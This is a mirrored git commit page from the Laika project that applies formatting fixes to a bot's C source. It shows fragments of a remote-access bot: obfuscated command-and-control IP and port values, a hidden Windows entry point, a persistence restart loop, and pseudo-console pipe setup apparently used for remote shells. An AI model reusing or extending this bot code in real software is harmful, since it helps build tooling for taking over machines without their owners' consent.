mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 04:50:06 +00:00
Bot: misc. formatting fixes
This commit is contained in:
parent
a7a938c9e8
commit
2e4c63c0c6
@ -9,21 +9,20 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
#ifndef DEBUG
|
# ifndef DEBUG
|
||||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||||
{
|
{
|
||||||
#else
|
# else
|
||||||
int main()
|
int main()
|
||||||
{
|
{
|
||||||
#endif
|
# endif
|
||||||
#else
|
#else
|
||||||
int main()
|
int main()
|
||||||
{
|
{
|
||||||
#endif
|
#endif
|
||||||
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
|
/* these boxes are really easy to dump, they're unlocked at the very start of execution and left
|
||||||
in memory the entire time.
|
in memory the entire time. not only that but they're only obfuscating the ip & port, both are
|
||||||
not only that but they're only obfuscating the ip & port, both are things anyone would see
|
things anyone would see from opening wireshark */
|
||||||
from opening wireshark */
|
|
||||||
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
|
LAIKA_BOX_SKID_START(char *, cncIP, LAIKA_CNC_IP);
|
||||||
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
|
LAIKA_BOX_SKID_START(char *, cncPORT, LAIKA_CNC_PORT);
|
||||||
struct sLaika_bot *bot;
|
struct sLaika_bot *bot;
|
||||||
@ -50,11 +49,11 @@ int main()
|
|||||||
/* bot was killed or it threw an error */
|
/* bot was killed or it threw an error */
|
||||||
laikaB_freeBot(bot);
|
laikaB_freeBot(bot);
|
||||||
#ifdef LAIKA_PERSISTENCE
|
#ifdef LAIKA_PERSISTENCE
|
||||||
#ifdef _WIN32
|
# ifdef _WIN32
|
||||||
Sleep(5000);
|
Sleep(5000);
|
||||||
#else
|
# else
|
||||||
sleep(5);
|
sleep(5);
|
||||||
#endif
|
# endif
|
||||||
} while (1);
|
} while (1);
|
||||||
|
|
||||||
laikaB_unmarkRunning();
|
laikaB_unmarkRunning();
|
||||||
|
@ -124,7 +124,7 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
|||||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
|
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
|
||||||
easier so it fits in nicely with the rest of the laika codebase
|
easier so it fits in nicely with the rest of the laika codebase
|
||||||
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
|
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
|
||||||
*/
|
*/
|
||||||
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
|
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
|
||||||
return HRESULT_FROM_WIN32(GetLastError());
|
return HRESULT_FROM_WIN32(GetLastError());
|
||||||
|
|
||||||
@ -132,8 +132,8 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
|||||||
hr = CreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC);
|
hr = CreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC);
|
||||||
|
|
||||||
/* we can close the handles to the PTY-end of the pipes here
|
/* we can close the handles to the PTY-end of the pipes here
|
||||||
because the handles are dup'ed into the ConHost and will be released
|
because the handles are dup'ed into the ConHost and will be released
|
||||||
when the ConPTY is destroyed. */
|
when the ConPTY is destroyed. */
|
||||||
CloseHandle(hPipePTYOut);
|
CloseHandle(hPipePTYOut);
|
||||||
CloseHandle(hPipePTYIn);
|
CloseHandle(hPipePTYIn);
|
||||||
return hr;
|
return hr;
|
||||||
|
Loading…
Reference in New Issue
Block a user